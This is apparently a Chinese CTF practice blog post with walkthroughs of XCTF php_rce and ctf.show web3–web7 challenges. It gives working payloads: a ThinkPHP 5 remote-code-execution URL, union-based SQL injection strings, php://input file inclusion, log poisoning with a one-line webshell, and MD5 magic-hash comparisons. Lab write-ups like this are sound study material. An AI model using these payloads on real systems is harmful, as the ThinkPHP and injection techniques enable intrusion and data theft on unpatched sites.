攻防世界(进阶刷题)php_rce 以及ctf.show注入通关

目录

php_rce

NewsCenter

ctf.show_web3

ctf.show_web4

ctf.show_web5

ctf.show_web6

 ctf.show_web7



php_rce

这道题考察php远程漏洞问题

打开界面一看,

然后看师傅们的wp都是直接去,github去查Think PHP V5漏洞

然后随便找了一个输了进去发现,提示我们要用5.02的版本漏洞

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 

 

 一直 ls ../../../查询根目录发现,flag 然后用find查找一下和flag相关的文件

格式为:find / -name "flag"

 发现flag的目录下面,还是flag,这时候可以直接采用cat查找

格式为: cat /flag  或者 tac /flag

 到这里就结束了,总结一下:步骤为-->找到相应版本漏洞-->然后进行查目录-->最后查flag

NewsCenter

 打开以后看见界面,一个文本框猜测是sql注入,然后验证时什么注入

1.首先进行列的判断,' order by 3 #     注释:#的作用时注释后面的内容,也可以用--+测试一下哪个没报错,报错说明被过滤掉了

先测试输入1产生回显,1'出现 http error 500报错,说明这是一个字符型的注入

 

查看回显位置。

' union select 1,database(),3 #

数据库出来以后,就看表名 

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

 查到表名,然后查询字段就可以了

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

' union select 1,fl4g,3 from secret_table #

 一个简单的联合注入就结束了!

ctf.show_web3

打开文件发现,include包含,想到了文件包含漏洞,然后就需要用到伪协议 

试了一下直接在url上,php://input不出现结果然后抓包

system('ls')是系统命令查看当前目录下的所有文件,然后需要和上面空一行否则不执行

 

感觉flag就在ctf_go_go_go这个文件中,直接访问

 

ctf.show_web4

 尝试各种伪协议都是报错,就换一种思路

 看了大佬的wp写的是日记注入,?url=/etc/passwd

发现成功显示出文件内容,那么尝试查看日志看看,?url=/var/log/nginx/access.log

 尝试修改header,在header中User-Agent写马并使用蚁剑连接日志目录,得到flag

 直接Forward,传入一句话木马后,用蚁建链接。用url(为日记的地址)就可以,密码为shell

 在目录下面找到flag,结束

ctf.show_web5

<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){               //判断是否含有字母
                die("v1 error");
            }
            if(!is_numeric($v2)){               //判断是否是数字
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>
</html>

然后看见md5知道考察,?v1=QNKCDZO&v2=240610708

QNKCDZO 的md5值为 0e830400451993494058024219903391

240610708 的md5值为 0e462097431906509019562988736854

分别满足纯字母和数字字符串,并且md5值以0e开头,而0e开头的字符串参与比较(==)时,会转化为0,也就是 0==0,返回true使if判断成立,从而输出flag

ctf.show_web6

打开界面发现也是一道sql注入的题,但这道题过滤了空格 用 /**/ 或()代替就可

 看见报错,感觉是空格过滤,然后试一下就出来了

 果然,是字符型注入,然后联合注入就得出flag与web3一样

 ctf.show_web7

 打开以后看见链接还不明白然后随便点进去

 发现id在发生变化,感觉是一个sql注入,判断类型

 

 

 如果是字符型注入 1=2会判断正确会有回显,所以这是数值型注入,然后过滤了空格,然后联合注入判断回显位置剩下的你就会了

 这里提醒一下id=-1因为这样显示错误,然后才会往后面查询

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值